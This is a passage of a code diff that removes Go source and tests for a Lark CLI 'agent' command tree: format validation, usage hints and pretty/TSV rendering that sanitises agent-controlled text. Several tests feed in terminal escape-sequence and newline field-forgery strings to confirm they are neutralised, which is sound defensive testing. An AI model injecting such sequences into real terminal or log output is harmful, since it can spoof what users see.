-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("context list with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil || fl.DefValue != "json" {
-		t.Errorf("context list --format default should flip to json, got %+v", fl)
-	}
-}
-
-// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
-// the added --format / --jq flags.
-func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextGet(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
-		t.Errorf("context get ref+ctx-id should be valid: %v", err)
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context get should have a --%s flag", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
-// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
-func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
-	cmd := NewCmdAgentContextDelete(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
-		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if cmd.Flags().Lookup("yes") == nil {
-		t.Error("context delete should have a --yes flag")
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context delete should have a --%s flag", name)
-		}
-	}
-}

cmd/agent/format.go

@@ -1,183 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// This file holds the --format surface shared by every agent leaf: value
-// validation, the pretty renderers (task key:value view, list
-// header-TSV views) with ANSI stripping for agent-controlled text, and the
-// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
-// validation error carrying a 用法 hint.
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/validate"
-)
-
-// formatFlagHelp is the uniform --format help text across every agent leaf
-// (json is the tree-wide default, pretty the human opt-in).
-const formatFlagHelp = "output format: json (default) | pretty"
-
-// validateFormat rejects any --format outside json|pretty as a
-// validation/invalid_argument error (exit 2). The empty string is accepted for
-// options structs built directly in tests; the registered flag default is
-// "json" so a CLI invocation never passes "".
-func validateFormat(format string) error {
-	switch format {
-	case "", "json", "pretty":
-		return nil
-	}
-	return errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"不支持的 --format 值 %q", format).
-		WithParam("--format").
-		WithHint("合法值: json | pretty")
-}
-
-// stripANSI sanitizes agent-controlled text before it is written raw to a
-// terminal by a pretty renderer, preventing terminal escape-sequence injection.
-// It delegates to validate.SanitizeForTerminal, which is a superset of the
-// mandated CSI regex:
-// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
-// Unicode. JSON output paths must NOT use this — programmatic consumers get
-// the raw data.
-func stripANSI(s string) string {
-	return validate.SanitizeForTerminal(s)
-}
-
-// kvValue sanitizes an agent-controlled value for a single-line "key: value"
-// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
-// SanitizeForTerminal deliberately preserves those, so without this a value
-// like "done\nstate: completed" would forge an adjacent field row. TSV
-// renderers keep plain stripANSI under their documented no-escape exemption.
-func kvValue(s string) string {
-	s = stripANSI(s)
-	s = strings.ReplaceAll(s, "\n", " ")
-	return strings.ReplaceAll(s, "\t", " ")
-}
-
-// truncateRunes caps s at max runes, appending an ellipsis when truncated.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}
-
-// firstTextOf returns the first text Part carried by the task's messages
-// (the first text message), or "".
-func firstTextOf(task *iagent.AgentTask) string {
-	for _, m := range task.Messages {
-		for _, p := range m.Parts {
-			if p.Type == "text" && p.Text != "" {
-				return p.Text
-			}
-		}
-	}
-	return ""
-}
-
-// printTaskPretty renders the task-class pretty view: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count. Every agent-controlled string goes through
-// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
-// terminal sequences nor forge an adjacent field row.
-func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
-	if task == nil {
-		fmt.Fprintln(w, "(no task)")
-		return
-	}
-	fmt.Fprintf(w, "state: %s\n", task.State)
-	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
-	if task.ContextID != "" {
-		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
-	}
-	if text := firstTextOf(task); text != "" {
-		fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
-	}
-	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
-}
-
-// TSV renderers below intentionally do not escape tab/newline in cell values:
-// a value containing them breaks the column layout. The agent's primary
-// consumption surface is json; pretty is for human inspection only, so leaving
-// them unescaped is acceptable.
-
-// printTaskSummariesTSV renders the list-class pretty view for tasks:
-// a header row naming the json fields, then one row per task.
-func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
-	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
-	for _, t := range tasks {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
-	}
-}
-
-// printContextsTSV renders the list-class pretty view for contexts. The
-// Title is agent-controlled and must be ANSI-stripped.
-func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
-	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
-	for _, c := range contexts {
-		fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
-	}
-}
-
-// printContextDetailPretty renders `context get --format pretty` as key: value
-// lines with the tasks count; the agent-controlled Title (and the id) go
-// through kvValue so they cannot forge adjacent field rows.
-func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
-	if detail == nil {
-		fmt.Fprintln(w, "(no context)")
-		return
-	}
-	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
-	if detail.CreatedAt != "" {
-		fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
-	}
-	if detail.Title != "" {
-		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
-	}
-	fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
-}
-
-// usageHintOf builds the "用法: <command path> <positional shape>" hint from
-// the executing command's Use line, so the hint never drifts from the
-// registered Use string.
-func usageHintOf(cmd *cobra.Command) string {
-	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
-		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
-	}
-	return "用法: " + cmd.CommandPath()
-}
-
-// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
-// (exit 2) whose hint carries the full usage string — cobra's bare English
-// "accepts 2 arg(s), received 1" never says WHAT is missing.
-func exactArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) != n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}
-
-// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
-// exactArgsWithUsage, for leaves with an optional positional (agent list).
-func maximumArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) > n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}

cmd/agent/format_test.go

@@ -1,352 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
-// only occurs when options structs are built directly in tests) pass.
-func TestValidateFormat_Valid(t *testing.T) {
-	for _, f := range []string{"", "json", "pretty"} {
-		if err := validateFormat(f); err != nil {
-			t.Errorf("format %q should be valid: %v", f, err)
-		}
-	}
-}
-
-// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
-// validation/invalid_argument error (exit 2) whose hint lists the legal values
-// and whose param names the flag with the -- prefix.
-func TestValidateFormat_Invalid(t *testing.T) {
-	err := validateFormat("yaml")
-	if err == nil {
-		t.Fatal("--format yaml should error (currently silently treated as json)")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-	if !strings.Contains(p.Hint, "json | pretty") {
-		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--format" {
-		t.Errorf("param should be --format, got %+v", verr)
-	}
-}
-
-// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
-// lark-cli), with a nil Factory: format validation must fire at the RunE
-// entry, before any Factory access.
-func agentRootTree() *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
-	root.AddCommand(NewCmdAgent(nil))
-	return root
-}
-
-// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
-// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
-// hint, uniformly, before any provider/Factory is touched.
-func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
-	leaves := [][]string{
-		{"agent", "list", "--format", "yaml"},
-		{"agent", "card", "example:x", "--format", "yaml"},
-		{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
-		{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
-		{"agent", "task", "list", "example:x", "--format", "yaml"},
-		{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
-		{"agent", "context", "list", "example:x", "--format", "yaml"},
-		{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
-		{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
-	}
-	for _, argv := range leaves {
-		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
-			root := agentRootTree()
-			root.SetOut(&bytes.Buffer{})
-			root.SetErr(&bytes.Buffer{})
-			root.SetArgs(argv)
-			err := root.Execute()
-			if err == nil {
-				t.Fatalf("%v should report a --format validation error", argv)
-			}
-			if !errs.IsValidation(err) {
-				t.Fatalf("should be a validation error, got %T: %v", err, err)
-			}
-			if output.ExitCodeOf(err) != output.ExitValidation {
-				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-			}
-			p, ok := errs.ProblemOf(err)
-			if !ok || !strings.Contains(p.Hint, "json | pretty") {
-				t.Errorf("hint should contain json | pretty, got %+v", p)
-			}
-		})
-	}
-}
-
-// TestFormatHelpTextUniform pins the mandated uniform help text
-// "output format: json (default) | pretty" across every leaf that has --format.
-func TestFormatHelpTextUniform(t *testing.T) {
-	cmds := map[string]*cobra.Command{
-		"list":           NewCmdAgentList(nil),
-		"card":           NewCmdAgentCard(nil),
-		"send":           NewCmdAgentSend(nil, nil),
-		"task get":       NewCmdAgentTaskGet(nil),
-		"task list":      NewCmdAgentTaskList(nil),
-		"task cancel":    NewCmdAgentTaskCancel(nil),
-		"context list":   NewCmdAgentContextList(nil),
-		"context get":    NewCmdAgentContextGet(nil),
-		"context delete": NewCmdAgentContextDelete(nil),
-	}
-	for name, cmd := range cmds {
-		fl := cmd.Flags().Lookup("format")
-		if fl == nil {
-			t.Errorf("%s should have a --format flag", name)
-			continue
-		}
-		if fl.DefValue != "json" {
-			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
-		}
-		if fl.Usage != "output format: json (default) | pretty" {
-			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
-		}
-	}
-}
-
-// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
-// all removed before agent text reaches a terminal.
-func TestStripANSI(t *testing.T) {
-	for _, tt := range []struct{ in, want string }{
-		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
-		{"a\x1bb", "ab"}, // bare ESC
-		{"t\x1b]0;evil\x07x", "tx"},
-		{"clean 文本", "clean 文本"},
-	} {
-		if got := stripANSI(tt.in); got != tt.want {
-			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
-		}
-	}
-}
-
-// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count — and the agent-controlled text stripped of
-// ANSI escapes.
-func TestPrintTaskPretty(t *testing.T) {
-	long := strings.Repeat("字", 130)
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: "sess_1",
-		State:     iagent.StateCompleted,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
-		}},
-		Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-	text := out.String()
-
-	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
-	}
-	if strings.Contains(text, long) {
-		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
-	}
-	if !strings.Contains(text, strings.Repeat("字", 120)) {
-		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
-// fix: agent text containing newlines must not be able to fake an adjacent
-// field row ("done\nstate: completed") — \n/\t in single-line values collapse
-// to spaces, so exactly one state: line exists.
-func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
-	task := &iagent.AgentTask{
-		TaskID: "chat_1",
-		State:  iagent.StateFailed,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
-		}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-
-	var stateLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "state: ") {
-			stateLines++
-		}
-	}
-	if stateLines != 1 {
-		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
-	}
-	if !strings.Contains(out.String(), "state: failed") {
-		t.Errorf("the real state line should remain, got:\n%s", out.String())
-	}
-	if !strings.Contains(out.String(), "text: done state: completed ok") {
-		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
-	}
-}
-
-// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
-// the context title row.
-func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		Title:     "标题\ncontext_id: forged",
-	})
-	var idLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "context_id: ") {
-			idLines++
-		}
-	}
-	if idLines != 1 {
-		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
-	}
-}
-
-// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
-func TestPrintTaskPretty_NilTask(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskPretty(out, nil)
-	if out.Len() == 0 {
-		t.Error("nil task should print a placeholder line")
-	}
-}
-
-// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
-// naming the json fields, then one tab-separated row per task.
-func TestPrintTaskSummariesTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskSummariesTSV(out, []iagent.TaskSummary{
-		{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
-	})
-	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
-	if len(lines) != 2 {
-		t.Fatalf("should have a header + 1 data row, got %q", out.String())
-	}
-	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
-		t.Errorf("header columns should match the json field names, got %q", lines[0])
-	}
-	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
-		t.Errorf("data row mismatch, got %q", lines[1])
-	}
-}
-
-// TestPrintContextsTSV pins the context-list pretty spec: header row plus
-// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
-// review fix).
-func TestPrintContextsTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextsTSV(out, []iagent.ContextSummary{
-		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
-	})
-	text := out.String()
-	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
-		t.Errorf("should have a header row, got %q", text)
-	}
-	if !strings.Contains(text, "销售分析") {
-		t.Errorf("should contain the title text, got %q", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
-	}
-}
-
-// TestPrintContextDetailPretty pins the context-get pretty rendering:
-// key: value lines with the tasks count, title ANSI-stripped.
-func TestPrintContextDetailPretty(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		CreatedAt: "2026-07-05T10:00:00+08:00",
-		Title:     "\x1b[31m分析\x1b[0m",
-		Tasks:     []iagent.TaskSummary{{TaskID: "chat_1"}},
-	})
-	text := out.String()
-	for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", text)
-	}
-}
-
-// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
-// built from the real command path + Use shape, so the caller learns what is
-// missing instead of cobra's bare "accepts 2 arg(s)".
-func TestExactArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("task get with a single argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-}
-
-// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
-// (`agent list [scheme]`).
-func TestMaximumArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "list", "example", "extra"})
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("list with more than 1 positional argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-}

cmd/agent/list.go

@@ -1,199 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// providerInfo describes a registered provider adapter in `agent list` output.
-// Every field is sourced from the registered iagent.ProviderInfo (the single
-// source of truth).
-type providerInfo struct {
-	Scheme         string `json:"scheme"`
-	Label          string `json:"label"`
-	AgentRefFormat string `json:"agent_ref_format"`
-	Kind           string `json:"kind"`
-	AgentIDSource  string `json:"agent_id_source"`
-}
-
-// listOptions holds all inputs for `agent list [scheme]`.
-type listOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Scheme  string
-	Format  string
-}
-
-// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
-// enumerates the registered provider adapters with their metadata — a
-// pure, API-free listing. With a scheme it performs second-level discovery:
-// providers implementing Discoverer enumerate their agents;
-// others return unsupported_capability with the agent_id_source
-// guidance. Risk=read.
-func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
-	opts := &listOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list [scheme]",
-		Short: "List registered agent providers, or enumerate the agents under one provider",
-		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
-		Args:  maximumArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			if len(args) == 1 {
-				opts.Scheme = args[0]
-			}
-			return agentListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
-// provider's agents (second-level discovery); without it renders the provider
-// listing. JSON envelope is the default; `pretty` is the opt-in human view.
-func agentListRun(opts *listOptions) error {
-	if opts.Scheme != "" {
-		return agentListSchemeRun(opts)
-	}
-
-	f := opts.Factory
-	providers := listProviders()
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
-		}
-		// agent_id_source is a full sentence — a TSV column would blow out the
-		// row width, so surface it as a per-provider footer instead. This is the
-		// single most important "where do I get an agent_id" cue for newcomers
-		// and must not vanish in the human-readable view.
-		fmt.Fprintln(f.IOStreams.Out)
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"providers": providers},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
-// provider. The Discoverer probe runs BEFORE any client construction so a
-// provider without discovery support returns its precise
-// unsupported_capability error even in an unconfigured environment — aligned
-// with the validation-before-config-gate principle. Only a provider that
-// does implement Discoverer needs a configured client for the real ListAgents
-// call.
-func agentListSchemeRun(opts *listOptions) error {
-	f := opts.Factory
-	info, ok := iagent.Info(opts.Scheme)
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 agent provider '%s'，当前支持: %s",
-			opts.Scheme, iagent.KnownSchemes()).
-			WithHint("用 lark-cli agent list 查看可用 provider")
-	}
-	if !probeDiscoverer(info) {
-		return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
-			"provider '%s' 暂不支持列举 agent", opts.Scheme).
-			WithHint("%s", info.AgentIDSource)
-	}
-
-	// The real ListAgents call carries the resolved identity, aligned with
-	// resolveProvider (common.go) — a provider must never see a zero As on an
-	// API-bound instance.
-	id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return err
-	}
-	p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
-	}
-	agents, err := p.ListAgents(opts.Cmd.Context())
-	if err != nil {
-		return err
-	}
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		// Name/Description are agent-controlled remote strings — ANSI-strip
-		// them before writing to the terminal.
-		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
-		for _, a := range agents {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"agents": agents},
-		Meta:   &output.Meta{Count: len(agents)},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// probeDiscoverer reports whether the provider built by info can enumerate its
-// agents (wires ListAgents). The probe instance is constructed with empty Deps
-// and an empty agentID — no client is needed to read a field, which keeps the
-// probe usable before config init. A factory error means the capability cannot
-// be confirmed, so it degrades to not discoverable.
-func probeDiscoverer(info iagent.ProviderInfo) bool {
-	p, err := info.Factory(iagent.Deps{}, "")
-	if err != nil || p == nil {
-		return false
-	}
-	return p.ListAgents != nil
-}
-
-// listProviders builds the provider descriptors from the built-in registry so
-// the listing stays in sync with whatever adapters are registered.
-func listProviders() []providerInfo {
-	schemes := iagent.RegisteredSchemes()
-	out := make([]providerInfo, 0, len(schemes))
-	for _, s := range schemes {
-		// s comes from RegisteredSchemes, so Info always succeeds.
-		info, _ := iagent.Info(s)
-		out = append(out, providerInfo{
-			Scheme:         s,
-			Label:          info.Label,
-			AgentRefFormat: info.AgentRefFormat,
-			Kind:           string(info.Kind),
-			AgentIDSource:  info.AgentIDSource,
-		})
-	}
-	return out
-}

cmd/agent/list_test.go

@@ -1,428 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// listFactory returns a Factory writing to a fresh stdout buffer plus a
-// listOptions bound to it, ready to drive agentListRun without any API.
-func listFactory() (*listOptions, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	return &listOptions{Factory: f, Format: "json"}, out
-}
-
-// decodeProviders unmarshals the envelope on out and returns data.providers.
-func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
-	t.Helper()
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	data, _ := env.Data.(map[string]interface{})
-	providers, _ := data["providers"].([]interface{})
-	return providers
-}
-
-// findProvider returns the provider entry whose scheme matches, or nil.
-func findProvider(providers []interface{}, scheme string) map[string]interface{} {
-	for _, pv := range providers {
